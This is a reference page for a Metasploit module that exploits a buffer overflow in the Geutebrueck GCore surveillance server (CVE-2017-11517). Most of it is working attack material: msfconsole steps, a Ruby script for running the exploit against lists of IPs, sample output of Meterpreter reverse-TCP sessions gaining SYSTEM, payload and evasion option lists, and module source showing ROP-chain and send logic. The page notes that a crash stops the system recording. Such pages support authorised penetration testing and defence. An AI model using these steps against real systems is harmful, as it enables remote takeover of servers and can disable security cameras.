Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE - Metasploit

This page contains detailed information about how to use the exploit/windows/http/geutebrueck_gcore_x64_rce_bo metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE
Module: exploit/windows/http/geutebrueck_gcore_x64_rce_bo
Source code: modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
Disclosure date: 2017-01-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 13003
List of CVEs: CVE-2017-11517

This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

Using geutebrueck_gcore_x64_rce_bo against a single host

Normally, you can use exploit/windows/http/geutebrueck_gcore_x64_rce_bo this way:

msf > use exploit/windows/http/geutebrueck_gcore_x64_rce_bo
msf exploit(geutebrueck_gcore_x64_rce_bo) > show targets
    ... a list of targets ...
msf exploit(geutebrueck_gcore_x64_rce_bo) > set TARGET target-id
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
    ... show and set options ...
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit

Using geutebrueck_gcore_x64_rce_bo against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your geutebrueck_gcore_x64_rce_bo will be using:

Do: use exploit/multi/handler
Do: set PAYLOAD [payload]
Set other options required by the payload
Do: set EXITONSESSION false
Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/http/geutebrueck_gcore_x64_rce_bo")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation. Since this application is started with system privileges this allows a system remote code execution.

Verification Steps

Install Windows as basic OS (Tested with Win2012R2, Windows 7)
Install the Geutebrück GCore server
Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
Start msfconsole
Do: use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]
Do: set rhost <your target ip>
Do: set rport 13003
Do: set payload windows/x64/meterpreter/reverse_tcp
Do: exploit
You should get a shell as NT/SYSTEM.

Scenarios

Geutebrueck GCore 1.4.2.37

msf exploit(geutebrueck_gcore_x64_rce_bo) > show options

Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.10      yes       The target address
   RPORT    13003             yes       The target port



   Payload options (windows/x64/meterpreter/reverse_tcp):

      Name      Current Setting  Required  Description
      ----      ---------------  --------  -----------
      EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
      LHOST     192.168.1.11     yes       The listen address
      LPORT     4444             yes       The listen port


   Exploit target:

      Id  Name
      --  ----
      0   Automatic Targeting

msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
    [*] Started reverse TCP handler on 192.168.1.11:4444
    [*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
    [*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
    [*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
    [*] 192.168.1.10:13003 - Crafting Exploit...
    [*] 192.168.1.10:13003 - Exploit ready for sending...
    [*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
    [*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
    [*] 192.168.1.10:13003 - Closing socket.
    meterpreter > getsystem
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > getuid Server username:
    NT-AUTORITÄT\SYSTEM
    meterpreter >

Mitigation

Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.

Go back to menu.

Msfconsole Usage

Here is how the windows/http/geutebrueck_gcore_x64_rce_bo exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/geutebrueck_gcore_x64_rce_bo

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show info

       Name: Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE
     Module: exploit/windows/http/geutebrueck_gcore_x64_rce_bo
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-01-24

Provided by:
  Luca Cappiello
  Maurice Popp

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   GCore 1.3.8.42, Windows x64 (Win7+)
  2   GCore 1.4.2.37, Windows x64 (Win7+)

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   13003            yes       The target port (TCP)

Payload information:
  Space: 2000

Description:
  This module exploits a stack Buffer Overflow in the GCore server 
  (GCoreServer.exe). The vulnerable webserver is running on Port 13003 
  and Port 13004, does not require authentication and affects all 
  versions from 2003 till July 2016 (Version 1.4.YYYYY).

References:
  https://www.exploit-db.com/exploits/41153
  https://nvd.nist.gov/vuln/detail/CVE-2017-11517
  www.geutebrueck.com

Module Options

This is a complete list of options available in the windows/http/geutebrueck_gcore_x64_rce_bo exploit:

msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show options

Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   13003            yes       The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Advanced Options

Here is a complete list of advanced options supported by the windows/http/geutebrueck_gcore_x64_rce_bo exploit:

msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show advanced

Module advanced options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/http/geutebrueck_gcore_x64_rce_bo module can exploit:

msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   GCore 1.3.8.42, Windows x64 (Win7+)
   2   GCore 1.4.2.37, Windows x64 (Win7+)

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/geutebrueck_gcore_x64_rce_bo exploit:

msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/http/geutebrueck_gcore_x64_rce_bo exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/geutebrueck_gcore_x64_rce_bo) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Statistics Page under http://<RHOST>:<RPORT>/statistics/runningmoduleslist.xml is not available.
After a crash, the videosurveillance system can not recover properly and stops recording.
ROP chain for this version not (yet) available or the target is not vulnerable.
No vulnerable Version detected - exploit aborted.
No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.
Exception encountered in 'exploit'

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Statistics Page under http://<RHOST>:<RPORT>/statistics/runningmoduleslist.xml is not available.

Here is a relevant code snippet related to the "Statistics Page under http://<RHOST>:<RPORT>/statistics/runningmoduleslist.xml is not available." error message:

64:	          mytarget = targets[2]
65:	          print_status("Vulnerable version detected: #{mytarget.name}")
66:	          return Exploit::CheckCode::Appears, mytarget
67:	        end
68:	      end
69:	      print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
70:	      print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
71:	      print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
72:	      print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
73:	      [Exploit::CheckCode::Unknown, nil]
74:	    end

After a crash, the videosurveillance system can not recover properly and stops recording.

Here is a relevant code snippet related to the "After a crash, the videosurveillance system can not recover properly and stops recording." error message:

67:	        end
68:	      end
69:	      print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
70:	      print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
71:	      print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
72:	      print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
73:	      [Exploit::CheckCode::Unknown, nil]
74:	    end
75:	
76:	    def check
77:	      fingerprint

ROP chain for this version not (yet) available or the target is not vulnerable.

Here is a relevant code snippet related to the "ROP chain for this version not (yet) available or the target is not vulnerable." error message:

218:	        rop << [0x140cfb98d].pack('Q<')
219:	
220:	        [rop, overwrite, stack_align]
221:	
222:	      else
223:	        print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
224:	      end
225:	    end
226:	
227:	    def exploit
228:	      if target['auto']

No vulnerable Version detected - exploit aborted.

Here is a relevant code snippet related to the "No vulnerable Version detected - exploit aborted." error message:

225:	    end
226:	
227:	    def exploit
228:	      if target['auto']
229:	        checkcode, target = fingerprint
230:	        fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
231:	        target_rop, target_overwrite, target_stack_align = ropchain(target)
232:	      else
233:	        print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
234:	        print_status("Selected version: #{self.target.name}")
235:	        target_rop, target_overwrite, target_stack_align = ropchain(self.target)

No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.

Here is a relevant code snippet related to the "No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status." error message:

228:	      if target['auto']
229:	        checkcode, target = fingerprint
230:	        fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
231:	        target_rop, target_overwrite, target_stack_align = ropchain(target)
232:	      else
233:	        print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
234:	        print_status("Selected version: #{self.target.name}")
235:	        target_rop, target_overwrite, target_stack_align = ropchain(self.target)
236:	      end
237:	
238:	      begin

Exception encountered in 'exploit'

Here is a relevant code snippet related to the "Exception encountered in 'exploit'" error message:

249:	        print_status('Exploit ready for sending...')
250:	        sock.put(exploit, 'Timeout' => 20)
251:	        print_status('Exploit sent!')
252:	        buf = sock.get_once || ''
253:	      rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
254:	        elog('Exception encountered in \'exploit\'', error: e)
255:	      ensure
256:	        print_status('Closing socket.')
257:	        disconnect
258:	      end
259:	    end

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References

Authors

Luca Cappiello
Maurice Popp

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Geutebrueck GCore 1.4.2.37

Mitigation

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Statistics Page under http://<RHOST>:<RPORT>/statistics/runningmoduleslist.xml is not available.

After a crash, the videosurveillance system can not recover properly and stops recording.

ROP chain for this version not (yet) available or the target is not vulnerable.

No vulnerable Version detected - exploit aborted.

No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.

Exception encountered in 'exploit'

Related Pull Requests

References

See Also

Authors

Version